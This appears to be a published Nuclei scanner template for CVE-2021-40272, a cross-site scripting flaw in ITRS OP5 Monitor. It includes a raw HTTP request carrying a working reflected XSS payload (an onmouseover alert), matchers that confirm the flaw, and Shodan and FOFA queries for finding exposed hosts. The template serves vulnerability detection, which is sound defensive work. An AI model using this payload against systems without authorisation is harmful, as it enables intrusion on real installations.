IRTS OP5 Monitor - Cross-Site Scripting

ID: CVE-2021-40272

Severity: medium

Author: ritikchaddha

Tags: cve2021,cve,irts,op5,xss

Description

OP5 Monitor 8.3.1, 8.3.2, and OP5 8.3.3 are vulnerable to Cross Site Scripting (XSS).

YAML Source

id: CVE-2021-40272

info:
  name: IRTS OP5 Monitor - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    OP5 Monitor 8.3.1, 8.3.2, and OP5 8.3.3 are vulnerable to Cross Site Scripting (XSS).
  impact: |
    Successful exploitation could lead to unauthorized access or data theft.
  remediation: |
    Update to the latest version of OP5 Monitor to mitigate the XSS vulnerability.
  reference:
    - https://github.com/hosakauk/exploits/blob/master/itrs_op5_monitor_xss.pdf
    - https://nvd.nist.gov/vuln/detail/CVE-2021-40272
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cve-id: CVE-2021-40272
    cwe-id: CWE-79
    cpe: cpe:2.3:a:op5:monitor:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    shodan-query: title:"ITRS"
    fofa-query: title="ITRS"
    product: monitor
    vendor: op5
  tags: cve2021,cve,irts,op5,xss

http:
  - raw:
      - |
        GET /api/help'onmouseover=alert(document.domain)/'/;/beta/license HTTP/1.1
        Host: {{Hostname}}
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

    host-redirects: true
    max-redirects: 2
    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - contains(body, "help\'onmouseover=alert(document.domain)/\'/;/beta/license?format=json\'>JSON")
          - contains_any(tolower(body), "op5 monitor", "itrs")
          - contains(content_type, "text/html")
          - status_code == 401
        condition: and
# digest: 4a0a004730450221008249fbcbc86f4dfc70b47543821415fc55598f8ee67c75bca2db2ec07f456ffc02206153a975029fda4f2a77449e889aacc68fa300cd8704741984ee6e41ead01d4a:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-40272.yaml"

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